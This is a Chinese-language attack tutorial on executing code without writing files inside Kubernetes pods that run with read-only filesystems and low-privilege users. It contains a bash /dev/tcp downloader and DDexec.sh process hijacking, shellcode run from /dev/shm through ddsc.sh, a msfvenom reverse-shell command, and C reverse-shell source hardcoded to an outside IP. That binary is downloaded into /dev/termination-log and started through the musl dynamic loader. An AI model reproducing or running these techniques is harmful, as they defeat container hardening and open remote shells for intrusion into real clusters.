
一个文件系统的权限通常会包括三种主要的操作:读取、写入和执行。在只读文件系统中,文件可以被读取或执行。但是,即使一个进程有正确的权限,也不允许对其进行写入或创建新文件。这可以防止修改现有数据以及尝试向系统写入新数据(比如恶意软件)。
正确配置文件系统为只读可以作为一种安全措施。在容器化领域广泛采用这种方法,因为它能更好地控制和管理容器化应用程序。不可变的文件系统是一致且可预测的。这使得合规性和审计更简单,并且允许更精确的威胁检测。因为只读文件系统限制了对文件的修改,所以在一定程度上可以减少恶意软件对系统的影响。
在下面的场景中,我们已经在 Pod 上获得的一定的权限(较低权限),但是 Pod 的文件系统是只读的,为了进一步利用,我们必须能够在 Pod 上执行任意代码和可执行文件。
环境: Kind 搭建 1master 2worker 集群(v1.23)。 k8s环境搭建
原理:/dev/tcp特性建立TCP传文件,劫持进程实现无文件落地执行恶意程序
要求:环境中要有bash程序
需要创建的 Pod 配置文件如下,该 Pod 配置了昀新版本的标准 Nginx 映像。此方法要求 Pod 上存在/bin/bash
apiVersion: v1
kind: Pod
metadata:
name: nginx
spec:
nodeName: demo-worker
containers:
- image: docker.io/library/nginx:latest
name: nginx
command:
- "sleep"
- "infinity"
securityContext:
readOnlyRootFilesystem: true #设置为只读
runAsUser: 101 #文件系统权限101
ports:
- containerPort: 80
volumeMounts:
- mountPath: /var/run
name: run
- mountPath: /var/cache/nginx
name: nginx-cache
volumes: # 注意:volumes 应该在 spec 下,与 containers 同级
- name: run
emptyDir: {}
- name: nginx-cache
emptyDir: {}
这里的 nginx 镜像容易拉取不下来,故需要将该镜像导入到集群中:k8s环境搭建中有具体过程。
注意:最后使用 kubectl apply -f nginx.yaml 镜像可能还是会拉取失
败,需要用命令行来 kubectl run 创建:
kubectl run nginx --image=docker.io/library/nginx:latest --restart=Never --overrides='{"apiVersion":"v1","spec":{"nodeName":"demo-worker","containers":[{"name":"nginx","command":["sleep","infinity"],"image":"docker.io/library/nginx:latest","securityContext":{"readOnlyRootFilesystem":true,"runAsUser":101},"ports":[{"containerPort":80}],"volumeMounts":[{"mountPath":"/var/run","name":"run"},{"mountPath":"/var/cache/nginx","name":"nginx-cache"}]}],"volumes":[{"name":"run","emptyDir":{}},{"name":"nginx-cache","emptyDir":{}}]}}'

在配置文件中,在 securityContext 字段中指定了 readOnlyRootFilesystem 属性,以便创建具有只读文件系统的 pod。但是,Nginx 需要能够写入特定位置。因此,我们指定了指定的卷和卷装载来解决这个问题。此外,runAsUser 属性已用于确保 Pod 以低权限 Nginx 用户身份运行。
进入 Pod 尝试创建文件,失败。
kubectl exec -it nginx -- /bin/bash

假设目前的环境无法使用 curl 或 wget 这些工具, 但我们仍然可以使用 Bash 内置的 /dev/tcp 实用程序与远程主机建立 TCP 连接。
由于 Bash 函数存储在内存中而不是文件系统中,因此可以使用以下代码通过终端调用该函数:
使用 /dev/tcp 特性来建立 TCP 连接并发送 HTTP GET 请求以获取文件内容
function __bindownload() {
read proto server path <<<$(echo ${1//// })
FILE=/${path// //}
HOST=${server//:*}
PORT=${server//*:}
[[ x"${HOST}" == x"${PORT}" ]] && PORT=81
exec 3<>/dev/tcp/${HOST}/$PORT
echo -en "GET ${FILE} HTTP/1.0\r\nHost: ${HOST}\r\n\r\n" >&3
(while read line; do
[[ "$line" == $'\r' ]] && break
done && cat) <&3
exec 3>&-
}
现在我们可以将文件从主机上传到 pod,但是只读文件系统不允许保存这些文件,为了绕过这个限制,我们将使用由 DDexec.sh 脚本,此脚本允许劫持现有进程,以便将其替换为我们自己的代码。
DDexec.sh 的基础用法:
#将 /bin/ls 二进制文件编码为 Base64,并通过 ddexec.sh 脚本在内存中执行它
base64 -w0 /bin/ls |base64 -d| bash ddexec.sh ls
是一种在 Linux 上无文件且隐蔽地运行二进制文件的技术。
这里以 hostname 程序代表木马程序,
cp /bin/hostname hostname ,将其 base64 编码: base64 -w0 hostname > hostname_base64 python3 -m http.server 81 ,方便 pod 获取到 hostname_base64 和 ddexec.sh kubectl exec -it nginx -- /bin/sh ,直接复制粘贴上面的脚本函数 __bindownload() 回车运行,再运行下面的命令,调用两次该脚本函数远程下载 hostname_base64 和 ddexec.sh
__bindownload http://192.168.8.10:81/hostname_base64 |base64 -d| bash <(__bindownload http://192.168.8.10:81/ddexec.sh) hostname
成功执行 hostname 命令。

使用 Bash 的进程替换将 ddexec.sh 的内容提供给 Bash 执行,并将 hostname_base64 作为程序的输入。bash 重定向可立刻将下载的 hostname_base64 程序传递给 ddexec.sh 执行,而不是下载到磁盘中,故避免了将文件写入文件系统的需要。
HTTP 日志可以看见目标获取了 hostname_base64 和 ddexec.sh
如果遇到的容器没有 bash,那方法一就不行了。比如常用的某些映像(如 Alpine)默认不包含 Bash,而是默认使用较旧的 shell,例如 sh。在这些情况下,我们将无法使用 /dev/tcp,因为它是一个 Bash 实用程序。
需要创建的 Pod 配置文件如下:
#readOnlyRootFilesystemAlpine.yaml
apiVersion: v1
kind: Pod
metadata:
name: alpine
spec:
nodeName: demo-worker
containers:
- name: pod
image: docker.io/library/alpine:latest
command: ["sleep", "infinity"]
args: ["alpine"]
securityContext:
runAsUser: 65534
readOnlyRootFilesystem: true #只读文件系统
在配置文件中,在 securityContext 字段中指定了 readOnlyRootFilesystem 属性,以便创建具有只读文件系统的 pod。此外,runAsUser 属性已用于确保 Pod 以低权限 Nobody 用户身份运行。
注意:最后后使用 kubectl apply -f readOnlyRootFilesystemAlpine.yaml 镜像可能还是会拉取失败,需要用命令行 kubectl run 来创建:
kubectl run alpine --image=docker.io/library/alpine:latest --restart=Never --overrides='{"apiVersion":"v1","spec":{"nodeName":"demo-worker","containers":[{"name":"pod","command":
利用busybox 与共享内存目录 /dev/shm 加上ddsc.sh
进入 Pod 尝试创建文件,失败。
kubectl exec -it alpine -- /bin/sh
busybox 二进制文件利用,在 Alpine, Scratch, OpenWrt 等系统中有一个轻量级的软件套件 busybox,
小技巧:busybox 是静态编译的,其不依赖与系统的动态链接库,集成了三百多个 linux 常用命令,我们可以通过将 busybox 上传到容器内部就可以使用大部分的 linux 命令。
我们可以利用 busybox wget 来传输文件。但是如何解决不让传输的文件落地的问题呢?
使用 mount 命令,发现有一个有趣的可写文件目录:/dev/shm
mount | grep shm
rw 表示该文件系统是可写的,但 noexec 表示该目录下不能直接执行。

/dev/shm 是一个临时文件系统(tmpfs),它用于实现共享内存的概念,(实际上他是一个内存,只是被虚拟成了文件系统)
/dev/shm 挂载为只读,因为这会影响进程间通信的性能。为了绕过这个限制(该目录下不能直接执行),可以使用 ddsc.sh 这个脚本,它能直接执行二进制代码(Shellcode 是一种特殊类型的二进制代码)。
先利用 busybox wget 命令下载 ddsc.sh 和 写入 shellcode 到可写目录 /dev/shm 中 ,
#在共享内存目录 /dev/shm 中创建一个临时文件,并将文件路径保存到变量 ddsc
ddsc=$(mktemp -p /dev/shm)
busybox wget -O - http://149.104.29.22:81/ddsc.sh > $ddsc
shellcode=$(mktemp -p /dev/shm)
echo "【shellcode】" > $shellcode

最后,使用 sh 从 /dev/shm 读取和执行 ddsc.sh,这将运行其中的 shellcode。
#shellcode生成
msfvenom -p linux/x64/shell_reverse_tcp LHOST=IP LPORT=port -f hex
sh $ddsc -x < $shellcode 由于shellcode是瞎填的,所以报错了,但有报错又证明是可以执行的 (因为是在内存中执行,所以是不受到只读文件系统限制的)

方法三将寻求一条与前两种不同的道路,在这种方法中,我们关注的是在没有执行权限的情况下,通过动态链接器/加载器库运行可执行文件的能力。当一个可执行文件被启动或者一个共享库被加载时,动态链接器负责在运行时链接动态库并解析符号。
与前面方法二配置一样,我们将使用具有最新 Alpine 映像的 pod,只读文件系统 + 以低权限 Nobody 用户身份运行。
#readOnlyRootFilesystemAlpine.yaml
apiVersion: v1
kind: Pod
metadata:
name: alpine123
spec:
nodeName: demo-worker
containers:
- name: pod
image: docker.io/library/alpine:latest
command: ["sleep", "infinity"]
args: ["alpine"]
securityContext:
runAsUser: 65534
readOnlyRootFilesystem: true #设置只读
kubectl apply -f readOnlyRootFilesystemAlpine.yaml
ldd 命令找到动态链接器ld-musl-x86_64.so.1

我们就可以创建一个可执行文件来满足我们的需求。首先,我们将采用用 C 语言编写的简单反向 shell,注意替换代码中反弹shell的服务器地址,
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
int main(void) {
int port = 1144;
struct sockaddr_in revsockaddr;
int sockt = socket(AF_INET, SOCK_STREAM, 0);
revsockaddr.sin_family = AF_INET;
revsockaddr.sin_port = htons(port);
revsockaddr.sin_addr.s_addr = inet_addr("124.71.111.64");
connect(sockt, (struct sockaddr *) &revsockaddr,
sizeof(revsockaddr));
dup2(sockt, 0);
dup2(sockt, 1);
dup2(sockt, 2);
char * const argv[] = {"/bin/sh", NULL};
execve("/bin/sh", argv, NULL);
return 0;
}
我们需要编译上面的C代码以便于能在 alpine Pod 中运行,
故需要部署一个 Alpine 编译环境,可以创建另一个新的 Alpine 容器,在容器中进行C代码编译,该容器为 alpine-musl-gcc,
kubectl apply -f alpineLinuxPod.yaml
apiVersion: v1
kind: Pod
metadata:
name: alpine-musl-gcc
spec:
nodeName: demo-worker
containers:
- args:
- alpine
image: docker.io/library/alpine:latest
name: pod
command:
- "sleep"
- "infinity"
进入容器 alpine-musl-gcc 中,
kubectl exec -it alpine-musl-gcc -- /bin/sh
更换 Alpine 容器源并下载编译环境 build-base 包,
cd /etc/apk/
sed -i 's/dl-cdn.alpinelinux.org/mirrors.ustc.edu.cn/g' /etc/apk/repositories
apk add build-base
#将 shell.c 拷贝到容器 alpine-musl-gcc 根目录中,
kubectl cp shell.c alpine-musl-gcc:/shell.c
#编译 shell.c,
gcc -o shell shell.c
#将编译好的 shell 从容器 alpine-musl-gcc 中拷贝到宿主机上,
kubectl cp alpine-musl-gcc:/shell shell
自此,我们借助 Alpine 容器编译好了一个能跑在 Alpine 系统的木马程序 shell。
那这个木马程序怎么放、放哪里? (放到 只读文件系统 + 以低权限 Nobody 用户运行的 alpine pod)
使用 mount 命令检查文件系统,/etc/hosts 是可写入的,但是只有root可写,

mount | grep etc/hosts
/etc/resolv.conf 和 /etc/hostname 同理。
mount | grep rw | grep dev

ls -l /dev/termination-log 发现这个目录所有用户都可以写入,
/dev/termination-log 是一个通常使用写入权限挂载的文件,并且不需要提升的权限即可写入,
可以再次使用 busybox wget,将木马程序写入到 /dev/termination-log 中,
busybox wget -O - http://149.104.29.22:81/shell > /dev/termination-log
开启监听、弹shell
/lib/ld-musl-x86_64 .so.1 /dev/termination-log

使用动态程序加载器运行文件,目的在于减轻对可执行文件权限的典型要求,在某些情况下,即使文件本身没有执行权限,但如果动态程序加载器(动态链接器)具有执行权限,它仍然可以加载并执行这些文件。